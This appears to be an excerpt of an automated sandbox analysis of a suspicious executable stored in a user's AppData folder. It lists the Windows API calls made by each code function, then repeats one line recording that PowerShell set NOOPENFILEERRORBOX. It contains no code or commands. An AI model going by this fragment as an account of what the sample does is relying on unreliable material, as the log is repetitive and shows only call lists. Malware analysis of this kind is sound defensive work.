Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA7734 GetUserDefaultLangID,IsIconic,GetCurrentProcessId,GetDesktopWindow,GetParent,GetLastActivePopup,AnyPopup,IsZoomed,GetModuleHandleW,IsZoomed,GetModuleHandleW,AnyPopup,GetLargePageMinimum,IsIconic,GetWindowTextLengthW,GetMessageTime,GetUserDefaultLangID,GetForegroundWindow,	25_2_00007FF6B1CA7734
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA832D GetForegroundWindow,GetUserDefaultLangID,GetCurrentProcessId,GetTickCount,IsIconic,GetMessageExtraInfo,	25_2_00007FF6B1CA832D
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA771D GetUserDefaultLangID,IsIconic,GetCurrentProcessId,GetDesktopWindow,GetParent,GetLastActivePopup,AnyPopup,IsZoomed,GetModuleHandleW,IsZoomed,GetModuleHandleW,AnyPopup,GetLargePageMinimum,GetDoubleClickTime,IsIconic,GetWindowTextLengthW,GetMessageTime,GetUserDefaultLangID,GetForegroundWindow,	25_2_00007FF6B1CA771D
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA771D GetUserDefaultLangID,IsIconic,GetCurrentProcessId,GetDesktopWindow,GetParent,GetLastActivePopup,AnyPopup,IsZoomed,GetModuleHandleW,IsZoomed,GetModuleHandleW,AnyPopup,GetLargePageMinimum,GetDoubleClickTime,IsIconic,GetWindowTextLengthW,GetMessageTime,GetUserDefaultLangID,GetForegroundWindow,	25_2_00007FF6B1CA771D
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA7A2A GetLastActivePopup,AnyPopup,IsZoomed,GetModuleHandleW,IsZoomed,GetModuleHandleW,AnyPopup,GetLargePageMinimum,IsIconic,GetWindowTextLengthW,GetMessageTime,GetUserDefaultLangID,GetForegroundWindow,	25_2_00007FF6B1CA7A2A
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA79D5 GetLastActivePopup,AnyPopup,IsZoomed,GetModuleHandleW,IsZoomed,GetModuleHandleW,AnyPopup,GetLargePageMinimum,IsIconic,GetWindowTextLengthW,GetMessageTime,GetUserDefaultLangID,GetForegroundWindow,	25_2_00007FF6B1CA79D5
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA79EA GetLastActivePopup,AnyPopup,IsZoomed,GetModuleHandleW,IsZoomed,GetModuleHandleW,AnyPopup,GetLargePageMinimum,IsIconic,GetWindowTextLengthW,GetMessageTime,GetUserDefaultLangID,GetForegroundWindow,	25_2_00007FF6B1CA79EA
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA7D43 IsIconic,GetWindowTextLengthW,GetMessageTime,GetUserDefaultLangID,GetForegroundWindow,	25_2_00007FF6B1CA7D43
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CAF936 GetTopWindow,AnyPopup,GetCommandLineW,GetLargePageMinimum,GetDesktopWindow,IsIconic,IsZoomed,AnyPopup,	25_2_00007FF6B1CAF936
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA796B GetLastActivePopup,AnyPopup,IsZoomed,GetModuleHandleW,IsZoomed,GetModuleHandleW,AnyPopup,GetLargePageMinimum,IsIconic,GetWindowTextLengthW,GetMessageTime,GetUserDefaultLangID,GetForegroundWindow,	25_2_00007FF6B1CA796B
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA7958 GetLastActivePopup,AnyPopup,IsZoomed,GetModuleHandleW,IsZoomed,GetModuleHandleW,AnyPopup,GetLargePageMinimum,IsIconic,GetWindowTextLengthW,GetMessageTime,GetUserDefaultLangID,GetForegroundWindow,	25_2_00007FF6B1CA7958
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CAF15A GetCurrentProcessId,IsIconic,GetLastActivePopup,GetMessageExtraInfo,GetCurrentProcess,IsIconic,GetSystemDefaultLangID,GetLargePageMinimum,GetUserDefaultLangID,GetUserDefaultLangID,GetCurrentProcess,IsZoomed,GetParent,GetUserDefaultLangID,GetWindowTextLengthW,GetTopWindow,AnyPopup,GetCommandLineW,GetLargePageMinimum,GetDesktopWindow,IsIconic,IsZoomed,AnyPopup,	25_2_00007FF6B1CAF15A
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CAF15A GetCurrentProcessId,IsIconic,GetLastActivePopup,GetMessageExtraInfo,GetCurrentProcess,IsIconic,GetSystemDefaultLangID,GetLargePageMinimum,GetUserDefaultLangID,GetUserDefaultLangID,GetCurrentProcess,IsZoomed,GetParent,GetUserDefaultLangID,GetWindowTextLengthW,GetTopWindow,AnyPopup,GetCommandLineW,GetLargePageMinimum,GetDesktopWindow,IsIconic,IsZoomed,AnyPopup,	25_2_00007FF6B1CAF15A
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CAF15A GetCurrentProcessId,IsIconic,GetLastActivePopup,GetMessageExtraInfo,GetCurrentProcess,IsIconic,GetSystemDefaultLangID,GetLargePageMinimum,GetUserDefaultLangID,GetUserDefaultLangID,GetCurrentProcess,IsZoomed,GetParent,GetUserDefaultLangID,GetWindowTextLengthW,GetTopWindow,AnyPopup,GetCommandLineW,GetLargePageMinimum,GetDesktopWindow,IsIconic,IsZoomed,AnyPopup,	25_2_00007FF6B1CAF15A
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA7914 GetLastActivePopup,AnyPopup,IsZoomed,GetModuleHandleW,IsZoomed,GetModuleHandleW,AnyPopup,GetLargePageMinimum,IsIconic,GetWindowTextLengthW,GetMessageTime,GetUserDefaultLangID,GetForegroundWindow,	25_2_00007FF6B1CA7914
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA7D2E IsIconic,GetWindowTextLengthW,GetMessageTime,GetUserDefaultLangID,GetForegroundWindow,	25_2_00007FF6B1CA7D2E
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA7D19 IsIconic,GetWindowTextLengthW,GetMessageTime,GetUserDefaultLangID,GetForegroundWindow,	25_2_00007FF6B1CA7D19
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA788D GetLastActivePopup,AnyPopup,IsZoomed,GetModuleHandleW,IsZoomed,GetModuleHandleW,AnyPopup,GetLargePageMinimum,IsIconic,GetWindowTextLengthW,GetMessageTime,GetUserDefaultLangID,GetForegroundWindow,	25_2_00007FF6B1CA788D
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA7899 GetCurrentProcessId,GetLastActivePopup,AnyPopup,IsZoomed,GetModuleHandleW,IsZoomed,GetModuleHandleW,AnyPopup,GetLargePageMinimum,IsIconic,GetWindowTextLengthW,GetMessageTime,GetUserDefaultLangID,GetForegroundWindow,	25_2_00007FF6B1CA7899
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA7C72 GetDoubleClickTime,IsIconic,GetWindowTextLengthW,GetMessageTime,GetUserDefaultLangID,GetForegroundWindow,	25_2_00007FF6B1CA7C72
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CAF7B1 GetUserDefaultLangID,GetWindowTextLengthW,GetTopWindow,AnyPopup,GetCommandLineW,GetLargePageMinimum,GetDesktopWindow,IsIconic,IsZoomed,AnyPopup,	25_2_00007FF6B1CAF7B1
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CA8358 GetForegroundWindow,GetUserDefaultLangID,GetCurrentProcessId,GetTickCount,IsIconic,GetMessageExtraInfo,	25_2_00007FF6B1CA8358
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CAF356 GetLastActivePopup,GetMessageExtraInfo,GetCurrentProcess,IsIconic,GetSystemDefaultLangID,GetLargePageMinimum,GetUserDefaultLangID,GetUserDefaultLangID,GetCurrentProcess,IsZoomed,GetParent,GetUserDefaultLangID,GetWindowTextLengthW,GetTopWindow,AnyPopup,GetCommandLineW,GetLargePageMinimum,GetDesktopWindow,IsIconic,IsZoomed,AnyPopup,	25_2_00007FF6B1CAF356
Source: C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe	Code function: 25_2_00007FF6B1CAF356 GetLastActivePopup,GetMessageExtraInfo,GetCurrentProcess,IsIconic,GetSystemDefaultLangID,GetLargePageMinimum,GetUserDefaultLangID,GetUserDefaultLangID,GetCurrentProcess,IsZoomed,GetParent,GetUserDefaultLangID,GetWindowTextLengthW,GetTopWindow,AnyPopup,GetCommandLineW,GetLargePageMinimum,GetDesktopWindow,IsIconic,IsZoomed,AnyPopup,	25_2_00007FF6B1CAF356

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
